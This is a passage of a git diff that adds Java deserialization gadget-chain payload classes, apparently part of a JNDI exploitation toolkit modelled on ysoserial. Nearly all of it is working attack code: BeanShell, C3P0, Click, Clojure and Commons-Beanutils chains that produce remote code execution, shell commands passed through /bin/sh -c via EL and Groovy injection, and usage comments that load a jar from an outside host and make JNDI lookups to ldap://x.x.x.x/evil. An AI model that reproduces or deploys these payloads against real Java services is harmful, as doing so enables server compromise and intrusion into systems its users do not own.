+@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class BeanShell1 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + i.eval(payload); + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/BeanShell2.java b/src/main/java/com/qi4l/jndi/gadgets/BeanShell2.java new file mode 100644 index 0000000..7c587bc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/BeanShell2.java @@ -0,0 +1,52 @@ +package com.qi4l.jndi.gadgets; + +import bsh.Interpreter; +import bsh.NameSpace; +import bsh.XThis; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.*; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.beanshell:bsh:2.0b1"}) +@Authors({Authors.KILLER}) +public class BeanShell2 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + + Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); + setu.setAccessible(true); + setu.invoke(i, "bsh.cwd", "."); + i.eval(payload); + + Class xthis = Class.forName("bsh.XThis"); + Field handlerField = xthis.getDeclaredField("invocationHandler"); + handlerField.setAccessible(true); + Constructor xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class); + xthisDeclaredConstructor.setAccessible(true); + Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i); + handlerField.setAccessible(true); + InvocationHandler handler = (InvocationHandler) handlerField.get(xt); + + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue queue = new PriorityQueue(2); + queue.add("1"); + queue.add("2"); + + Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); + field.setAccessible(true); + field.set(queue, comparator); + return queue; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P0.java b/src/main/java/com/qi4l/jndi/gadgets/C3P0.java new file mode 100644 index 0000000..cd58018 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P0.java @@ -0,0 +1,94 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + *

+ * Arguments: + * - base_url:classname + *

+ * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P0 implements ObjectPayload { + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String className; + + private final String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P02.java b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java new file mode 100644 index 0000000..7635955 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java @@ -0,0 +1,77 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) +@Authors({Authors.QI4L}) +public class C3P02 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=eval")); + ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P03.java b/src/main/java/com/qi4l/jndi/gadgets/C3P03.java new file mode 100644 index 0000000..e9f2dba --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P03.java @@ -0,0 +1,79 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * 同 C3P0 2 只不过使用了 Groovy + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.QI4L}) +public class C3P03 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=evaluate")); + ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()")); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P04.java b/src/main/java/com/qi4l/jndi/gadgets/C3P04.java new file mode 100644 index 0000000..8f91aab --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P04.java @@ -0,0 +1,157 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.HexUtils; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SnakeYamlUtils; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.IOException; +import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * 同上 只不过使用了 snakeyaml + * 加了一些常见的 Gadget,有点套娃的感觉了 + *

+ * 用法: + * 远程加载 Jar 包 + * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' + *

+ * 向服务器写入 Jar 包并加载(不出网) + * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' + * C3P04 'localJar-./yaml.jar' + *

+ * C3P0 二次反序列化 + * C3P04 'c3p0Double-/usr/CC6.ser' + *

+ * C3P0 JNDI 以及 JdbcRowSetImpl JNDI + * C3P04 'c3p0Jndi-ldap://x.x.x.x/evil' + * C3P04 'jndi-ldap://x.x.x.x/evil' + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) +@Authors({Authors.QI4L}) +public class C3P04 implements ObjectPayload { + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf('-'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String[] parts = command.split("-"); + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + private final String type; + + public PoolSource(String type, String cmd) { + this.type = type; + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + + String yaml = ""; + + switch (type) { + case "remoteJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "localJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "writeJar": + String[] parts = cmd.split(":"); + try { + yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]); + } catch (Exception e) { + throw new RuntimeException(e); + } + break; + case "c3p0Double": + try { + byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); + String hexString = HexUtils.bytesToHexString(data, data.length); + yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + + "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; + } catch (IOException e) { + throw new RuntimeException(e); + } + break; + case "c3p0Jndi": + yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + + "jndiName: " + cmd + "\n" + + "loginTimeout: 0"; + break; + case "jndi": + yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + + "dataSourceName: " + cmd + "\n" + + "autoCommit: true"; + break; + + } + + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "QI4L=load")); + ref.add(new StringRefAddr("QI4L", yaml)); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P092.java b/src/main/java/com/qi4l/jndi/gadgets/C3P092.java new file mode 100644 index 0000000..c7419a5 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P092.java @@ -0,0 +1,99 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + + +/** + * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P092 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID + + ClassPool pool = new ClassPool(); + pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); + final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); + + ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); + + // mock method name until armed + final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); + + Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); + Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private String className; + + private String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Click1.java b/src/main/java/com/qi4l/jndi/gadgets/Click1.java new file mode 100644 index 0000000..d0bbeb1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Click1.java @@ -0,0 +1,78 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.click.control.Column; +import org.apache.click.control.Table; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + + +/** + * Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). + * We use java.util.PriorityQueue to trigger ColumnComparator.compare(). + * After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. + *

+ * Chain: + *

+ * java.util.PriorityQueue.readObject() + * java.util.PriorityQueue.heapify() + * java.util.PriorityQueue.siftDown() + * java.util.PriorityQueue.siftDownUsingComparator() + * org.apache.click.control.Column$ColumnComparator.compare() + * org.apache.click.control.Column.getProperty() + * org.apache.click.control.Column.getProperty() + * org.apache.click.util.PropertyUtils.getValue() + * org.apache.click.util.PropertyUtils.getObjectPropertyValue() + * java.lang.reflect.Method.invoke() + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * ... + *

+ * Arguments: + * - command to execute + *

+ * Yields: + * - RCE via TemplatesImpl.getOutputProperties() + *

+ * Requires: + * - Apache Click + * - servlet-api of any version + *

+ * by @artsploit + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) +@Authors({Authors.ARTSPLOIT}) +public class Click1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + // prepare a Column.comparator with mock values + final Column column = new Column("lowestSetBit"); + column.setTable(new Table()); + Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); + + // create queue with numbers and our comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by the comparator, + // so it will trigger getOutputProperties() when objects in the queue are compared + column.setName("outputProperties"); + + // finally, we inject and new TemplatesImpl object into the queue, + // so its getOutputProperties() method will be called + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + final Object template; + template = Gadgets.createTemplatesImpl(command); + queueArray[0] = template; + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Clojure.java b/src/main/java/com/qi4l/jndi/gadgets/Clojure.java new file mode 100644 index 0000000..b69062d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Clojure.java @@ -0,0 +1,50 @@ +package com.qi4l.jndi.gadgets; + +import clojure.core$comp; +import clojure.core$constantly; +import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; +import clojure.lang.PersistentArrayMap; +import clojure.main$eval_opt; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.clojure.ClojureUtil; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.gadgets.annotation.Authors.JACKOFMOSTTRADES; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * HashMap.readObject() + * AbstractTableModel$ff19274a.hashCode() + * clojure.core$comp$fn__4727.invoke() + * clojure.core$constantly$fn__4614.invoke() + * clojure.main$eval_opt.invoke() + *

+ * Requires: + * org.clojure:clojure + * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions + */ + +@Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({JACKOFMOSTTRADES}) +public class Clojure implements ObjectPayload> { + + public Map getObject(String command) throws Exception { + String clojurePayload = ClojureUtil.makeClojurePayload(command); + Map fnMap = new HashMap<>(); + fnMap.put("hashCode", (new core$constantly()).invoke(0)); + AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + HashMap targetMap = new HashMap<>(); + targetMap.put(model, null); + fnMap.put("hashCode", (new core$comp()) + .invoke(new main$eval_opt(), (new core$constantly()) + .invoke(clojurePayload))); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + return targetMap; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java new file mode 100644 index 0000000..6c098c6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java @@ -0,0 +1,29 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({Authors.FROHOFF}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.java new file mode 100644 index 0000000..0c722b6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + + +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils1183NOCC implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java new file mode 100644 index 0000000..86e9594 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import javax.naming.Reference; +import java.math.BigInteger; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.gadgets.utils.jdbc.jdbcutils.dbcpByFactory; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({Authors.QI4L}) +public class CommonsBeanutils1JDBC implements ObjectPayload { + public Object getObject(String command) throws Exception { + + // create a TeraDataSource object, holding our JDBC string + //org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory + //org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory + //org.apache.commons.dbcp2.BasicDataSourceFactory + //org.apache.commons.dbcp.BasicDataSourceFactory + //com.alibaba.druid.pool.DruidDataSourceFactory + Reference ref = dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", command); + + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + // switch method called by comparator to "getConnection" + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = ref; + queueArray[1] = ref; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2.java new file mode 100644 index 0000000..4b0854a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * PriorityQueue.readObject() + * ... + * TransformingComparator.compare() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + */ + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({Authors.CCKUAILONG}) +public class CommonsBeanutils2 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.java new file mode 100644 index 0000000..3f7b094 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.teradata.jdbc.TeraDataSource; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({Authors.QI4L}) +public class CommonsBeanutils2JDBC implements ObjectPayload { + public Object getObject(String command) throws Exception { + TeraDataSource dataSource = new TeraDataSource(); + dataSource.setBROWSER(command); + dataSource.setLOGMECH("BROWSER"); + dataSource.setDSName("127.0.0.1"); + dataSource.setDbsPort("10250"); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "connection"); + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = dataSource; 